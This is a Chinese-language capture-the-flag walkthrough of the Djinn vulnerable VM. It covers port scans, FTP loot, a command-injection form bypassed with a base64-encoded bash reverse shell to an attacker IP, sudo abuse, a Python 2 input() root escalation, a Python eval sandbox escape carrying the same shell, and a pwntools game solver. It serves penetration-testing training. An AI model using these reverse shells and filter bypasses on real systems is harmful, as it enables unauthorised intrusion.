1、找到靶机ip:192.168.0.108
这步可以不做,靶机开机的时候有显示
2、扫描靶机端口
nmap -p- -A 192.168.0.108
21
22:过滤状态
1337
7331
3、ftp进行连接,一共三个文件
creds.txt
nitu:81299
暂时没看出来有什么用
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.
提示1337端口有个游戏,找到最后一关可以得到奖品
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
暂时看不出有什么信息,但是这个81299重复出现不知道有用没
4、连接1337端口,这里是不能直接浏览器访问的,可以使用kali自带的nc进行连接,连接之后提示需要回答1000次数学运算题目,然后他会给一个礼物,这里可以先不动,先去7331端口看看
或者直接在这里提权到root,想看可以跳到10、(2)
5、浏览器访问7331端口,首页没有发现什么有用的信息
gobuster dir -u http://192.168.0.108:7331 -w /usr/share/wordlists/dirb/big.txt
扫描一下目录
访问genie目录,页面显示403,但是有一些隐藏的东西,ctrl+a或者查看源码就能看到
访问wish目录,有一个输入框,可以执行些什么
尝试输入命令执行一下,看看能不能得到结果,提交之后跳转到上面那个页面,乍一看可能会觉得没有成功,其实在url上面有结果了,并且在之前隐藏东西的地方也有显示
于是尝试使用命令反弹shell,这里直接使用一句话是不能可以的,显示Wrong choice of words,猜测是有过滤
将命令进行base64编码之后进行绕过
echo "bash -i >& /dev/tcp/192.168.0.109/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo=
本地开启监听,提交payload,反弹成功
payload:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo="|base64 -d|bash
6、尝试提权到低权限,在当前目录下的app.py文件发现一个文件路径,查看一下得到一个用户名和密码
nitish:p4ssw0rdStr3r0n9
这里是不能ssh的,因为之前扫描的状态是filtered,先使用python提权,然后直接在这里su nitish切换到nitish
家目录下查看user.txt得到第一个flag
7、执行sudo -l命令,发现可以免密使用sam身份运行genie命令
8、试试genie命令,发现仅靠提示的一些参数是没有效果的
9、使用man genie查看更多的参数,发现一个-cmd参数
加上这个参数尝试执行命令,发现打开了一个新的终端,id查看到现在的身份已经是sam了
10、接下来就是需要提权到root权限了,有两种办法
(1)继续在这里执行sudo -l命令,发现可以使用root身份免密执行/root/lago,执行之后就看不出什么东西了
在自己的家目录下发现一个.pyc文件,内容有点像刚刚执行的程序,猜测是那个python文件编译后的文件,下载到本地进行反编译
在这里启动一个Python的简单的web服务器
python -m SimpleHTTPServer
默认端口:8000
反编译pyc文件得到python源码,发现运行程序后输入2,然后输入num即可提权成功,运行root目录下的proof.sh,渗透结束
uncompyle6 .pyc
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
补个坑,输入num就能提权成功的原因可以参考这篇文章
Vulnerability in input() function – Python 2.x - GeeksforGeeks
(2)从7331端口扫描结果可以看出是用的python写的,猜测1337端口是一样的,于是尝试python沙箱逃逸
eval('__import__("os").system("whoami")') #查看是以什么权限运行
eval('__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzU1NTUgMD4mMQo=|base64 -d|bash")') #反弹shell
11、补充
访问1337的时候,需要使用nc,看到连接之后的界面,心里想这不会需要pwntools吧,之前跳过了,最后做完了在这里处理一下吧,手动回答1000次是不可能的,于是写个脚本,测试之后发现是1001次,渗透完成验证发现写的确实是1001次,脚本如下
from pwn import *
r = remote("192.168.0.108",1337)
for i in range(9):
re = r.recvline()
print re
for i in range(1001):
print i
re = r.recvline(keepends=False)
print re
num_list = re.split(',')
num1 = int(num_list[0][1])
yunsuanfu = num_list[1][-2]
num2 = int(num_list[2][1])
r.recv()
if yunsuanfu == '-':
result = num1-num2
r.sendline(str(result))
if yunsuanfu == '+':
result = num1+num2
r.sendline(str(result))
if yunsuanfu == '/':
result = num1/num2
r.sendline(str(result))
if yunsuanfu == '*':
result = num1*num2
r.sendline(str(result))
print num1
print yunsuanfu
print num2
print num_list
for i in range(3):
print r.recvline()
部分源码
得到了三个数字:1356,6784,3409,猜测是端口敲门服务,之前的22端口是filtered,应该就是用来敲开这个端口的
在靶机上验证一下。查看靶机有没有运行knockd,发现是active状态,查看配置文件,也确实是这些序列号和顺序,关联的端口也是22号端口,但是我本地尝试敲的时候没有敲开
12、参考文章
Djinn Walkthrough | LifesFun’s 101
下一篇写djinn2